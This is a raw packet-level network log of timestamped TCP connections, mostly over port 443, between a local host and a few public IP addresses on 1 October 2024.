Oct 1, 2024 15:37:18.428924084 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.428927898 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.432934046 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.433001041 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.433005095 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.438756943 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.438827038 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.438832998 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.444919109 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.444971085 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.444974899 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.445190907 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.445210934 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.445215940 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.445242882 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.445327044 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.620404959 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:18.620480061 CEST	49747	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:18.622062922 CEST	49747	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:18.622075081 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:18.622335911 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:18.623457909 CEST	49747	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:18.671395063 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:18.896711111 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:18.896780968 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:18.896845102 CEST	49747	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:18.899993896 CEST	49747	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:18.900013924 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:18.900027037 CEST	49747	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:18.900032997 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:20.318592072 CEST	49751	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.318636894 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.318777084 CEST	49751	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.319144964 CEST	49751	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.319155931 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.354424953 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.354481936 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.354852915 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.355159998 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.355176926 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.948523998 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.948817968 CEST	49751	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.948833942 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.949170113 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.949474096 CEST	49751	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.949537039 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.949619055 CEST	49751	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.994263887 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.994520903 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.994550943 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.994887114 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.995403051 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.995450974 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.995450974 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:20.995464087 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:20.995523930 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.049972057 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.230041981 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.230190039 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.230823040 CEST	49751	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.233338118 CEST	49751	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.233354092 CEST	443	49751	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.267313957 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.267366886 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.267411947 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.267417908 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.267445087 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.267477036 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.267478943 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.267487049 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.267519951 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.273559093 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.273612976 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.273791075 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.273798943 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.279989004 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.280047894 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.280056000 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.286169052 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.286240101 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.286253929 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.331017017 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.356261015 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.356391907 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.356527090 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.367116928 CEST	49752	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.367151976 CEST	443	49752	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.972759008 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.972811937 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:21.973026991 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.973252058 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:21.973264933 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.006752014 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.006779909 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.006858110 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.007545948 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.007558107 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.008578062 CEST	49757	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.008610964 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.008780003 CEST	49757	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.009125948 CEST	49757	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.009143114 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.603228092 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.605379105 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:22.605416059 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.605777979 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.606484890 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:22.606551886 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.606631994 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:22.642992973 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.643769026 CEST	49757	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.643791914 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.644146919 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.644768000 CEST	49757	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.644839048 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.644870043 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.645062923 CEST	49757	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.645173073 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.645205021 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.645523071 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.646250963 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.646311045 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.646615028 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.651395082 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.658771038 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:22.691405058 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.691409111 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.893189907 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.893240929 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.893270969 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.893306971 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.893311024 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:22.893345118 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.893364906 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:22.899952888 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.900027990 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:22.900053024 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.900563955 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.900613070 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:22.907094002 CEST	49755	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:22.907125950 CEST	443	49755	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:22.919017076 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.919059992 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.919089079 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.919111013 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.919120073 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.919131994 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.919167995 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.919399023 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.919822931 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.923702955 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.924056053 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.924109936 CEST	49757	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.924190044 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.924289942 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.924436092 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.924448967 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.930556059 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.930598974 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.930608034 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.937056065 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.937105894 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.937114954 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.946916103 CEST	49757	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:22.946932077 CEST	443	49757	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:22.986664057 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:23.007252932 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:23.007864952 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:23.008069038 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:23.008213997 CEST	49756	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:23.008238077 CEST	443	49756	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:23.418298960 CEST	49672	443	192.168.2.4	173.222.162.32
Oct 1, 2024 15:37:23.418339968 CEST	443	49672	173.222.162.32	192.168.2.4
Oct 1, 2024 15:37:25.567020893 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:25.567107916 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:25.567157984 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:27.302463055 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:27.302530050 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:28.120856047 CEST	49723	80	192.168.2.4	199.232.214.172
Oct 1, 2024 15:37:28.125972033 CEST	80	49723	199.232.214.172	192.168.2.4
Oct 1, 2024 15:37:28.126045942 CEST	49723	80	192.168.2.4	199.232.214.172
Oct 1, 2024 15:37:30.436752081 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:30.436835051 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:30.436968088 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:30.437231064 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:30.437279940 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.074767113 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.129929066 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.137645006 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.137655020 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.138058901 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.139100075 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.139172077 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.139589071 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.139648914 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.139693022 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.429941893 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.429984093 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.430053949 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.430078030 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.430080891 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.430099010 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.430130959 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.430156946 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.430162907 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.436202049 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.436337948 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.436346054 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.442409992 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.442539930 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.442547083 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.449007034 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.449078083 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.449085951 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.503216982 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.518399954 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.520251036 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.520273924 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.520338058 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.520347118 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.520390987 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.520416021 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.520447969 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.551991940 CEST	49766	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.552007914 CEST	443	49766	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.631412983 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.631457090 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:31.631540060 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.631870031 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:31.631882906 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.037687063 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.037719965 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.037875891 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.038249016 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.038270950 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.380660057 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.381007910 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.381033897 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.381356955 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.381732941 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.381814003 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.381870031 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.423450947 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.661233902 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.661277056 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.661307096 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.661334038 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.661335945 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.661351919 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.661374092 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.661715984 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.661757946 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.661763906 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.668098927 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.668169022 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.668175936 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.673613071 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.673897028 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.673909903 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.674288034 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.675071001 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.675129890 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.675137043 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.675329924 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.675407887 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.675760984 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.681824923 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.681972027 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.681978941 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.719402075 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.736675978 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.747471094 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.750771046 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.750799894 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.750818968 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.750827074 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.751107931 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.757728100 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.764611959 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.764650106 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.764661074 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.764666080 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.764714003 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.771753073 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.771871090 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.771918058 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.772104025 CEST	49770	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:32.772118092 CEST	443	49770	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:32.777697086 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.777739048 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.777874947 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.778234959 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.778248072 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.955265045 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.955312967 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.955375910 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.955391884 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.955444098 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.955501080 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.956125021 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.956137896 CEST	443	49771	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:32.956154108 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:32.956264019 CEST	49771	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.433588982 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.442271948 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.442291975 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.442620039 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.444616079 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.444683075 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.445995092 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.491400003 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.714896917 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.714953899 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.714993954 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.715007067 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.715023041 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.715061903 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.715086937 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.715087891 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.715096951 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.715137959 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.720948935 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.721004009 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.721016884 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.727196932 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.727315903 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.727324963 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.733484030 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.733546019 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.733555079 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.798995018 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.802433014 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.804406881 CEST	443	49777	142.250.186.36	192.168.2.4
